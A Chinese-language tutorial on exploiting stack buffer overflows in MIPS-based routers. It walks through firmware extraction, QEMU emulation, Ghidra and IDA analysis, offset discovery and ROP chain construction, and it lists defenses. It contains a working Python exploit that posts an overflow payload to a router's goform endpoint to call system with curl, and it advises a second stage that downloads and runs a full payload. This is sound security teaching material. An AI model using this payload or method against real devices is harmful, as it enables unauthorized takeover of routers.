基于实战的MIPS路由器栈溢出利用:寄存器、指令与攻击思路的探究
字数 1680 2025-08-04 22:51:28
MIPS路由器栈溢出利用实战指南
1. MIPS架构基础
1.1 MIPS指令集概述
MIPS(Microprocessor without Interlocked Pipeline Stages)是一种采用精简指令集(RISC)的指令集架构(ISA),由斯坦福大学的John Hennessy在1980年代初期设计。特点包括:
- 最初为32位架构,现已发展至64位
- 广泛应用于嵌入式系统、路由器、微控制器等设备
- 设计目标是通过简单指令集实现高性能处理器
1.2 MIPS寄存器与指令
MIPS架构包含32个通用寄存器,常见寄存器包括:
$a0-$a3:函数参数传递$v0-$v1:函数返回值$ra:返回地址(类似x86的EIP/RIP)$sp:栈指针$fp:帧指针
重要指令:
li:立即数加载lw/sw:内存加载/存储jr:跳转寄存器addiu:无符号立即数加法
2. 栈溢出原理
2.1 栈溢出基本概念
栈溢出发生在程序向栈内存写入超过分配空间的数据时,导致:
- 覆盖相邻内存区域
- 可能覆盖返回地址等重要数据
- 最终可导致程序崩溃或执行任意代码
2.2 路由器常见危险函数
- strcpy:不检查目标缓冲区大小,易导致缓冲区溢出
- system:可能造成命令注入攻击,特别是以高权限运行时
- scanf:使用
%s格式时可能造成缓冲区溢出
3. 漏洞研究环境搭建
3.1 固件提取
使用binwalk工具提取路由器固件:
binwalk -eM 固件名称.bin --run-as=root
参数说明:
-eM:分析并提取发现的文件--run-as=root:以root权限运行
3.2 QEMU仿真环境
安装QEMU:
sudo apt install qemu-user-static
启动MIPS仿真:
qemu-mipsel-static -L . ./bin/httpd
参数说明:
-L .:指定库文件路径-g 2000:开启调试端口(用于IDA远程调试)
4. 静态分析技术
4.1 使用Ghidra分析
- 导入目标程序(如httpd)
- 搜索危险函数(strcpy/system等)
- 分析调用路径和参数传递
4.2 关键漏洞点定位
示例漏洞模式:
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // 无长度检查的拷贝
}
5. 动态调试技术
5.1 IDA Pro远程调试
- 启动QEMU调试服务:
qemu-mipsel-static -L . -g 2000 ./bin/httpd - IDA连接远程调试会话
- 设置断点并观察寄存器变化
5.2 确定溢出偏移
- 发送模式字符串(如AAAABBBB...)
- 观察崩溃时寄存器值
- 计算精确偏移量(示例中为64字节)
6. ROP链构造
6.1 MIPS ROP特点
- 利用现有代码片段(gadget)
- 需要控制
$ra寄存器(返回地址) - 参数通过
$a0-$a3传递
6.2 使用mipsrop插件
- 安装IDA的mipsrop插件
- 搜索可用gadget:
mipsrop.stackfinder() - 选择合适gadget构建ROP链
6.3 典型ROP链结构
[垃圾字符填充偏移] + [stackfinder地址] + [填充到参数] + [命令字符串] + [填充到返回地址] + [system地址]
示例Payload:
import requests
url = "http://目标IP/goform/漏洞路径"
stackfinder = 0X004DB814.to_bytes(4, byteorder='little')
system = 0x004DD820.to_bytes(4, byteorder='little')
data = {
"timeZone": b'A'*64 + stackfinder + b'C'*20 + b'curl\x00' + b'B'*80 + system
}
requests.post(url, data=data)
7. 防护措施
7.1 开发层面
- 使用安全语言(如Rust)或安全函数(strncpy替代strcpy)
- 对所有输入进行严格验证和过滤
- 启用编译器保护选项(如
-fstack-protector)
7.2 系统层面
- 启用ASLR(地址空间布局随机化)
- 最小化服务权限
- 定期更新固件
8. 工具列表
- 固件分析:
- binwalk:https://github.com/ReFirmLabs/binwalk
- 逆向工程:
- Ghidra:https://ghidra-sre.org/
- IDA Pro:https://hex-rays.com/ida-pro/
- 调试工具:
- QEMU:内置MIPS仿真
- gdb-multiarch:跨架构调试
9. 实战技巧
-
绕过环境检测:
- 使用IDA Patch功能修改检测逻辑(如NOP掉循环)
- 示例:将跳转指令改为NOP(0x00000000)
-
多阶段利用:
- 先获取简单代码执行(如curl)
- 再下载并执行完整payload
-
稳定性考虑:
- 添加sleep调用清空寄存器状态
- 使用可靠的gadget地址
本指南涵盖了从基础理论到实际漏洞利用的完整流程,重点介绍了MIPS架构下的栈溢出利用技术。实际应用中需注意法律和道德规范,仅用于授权测试场景。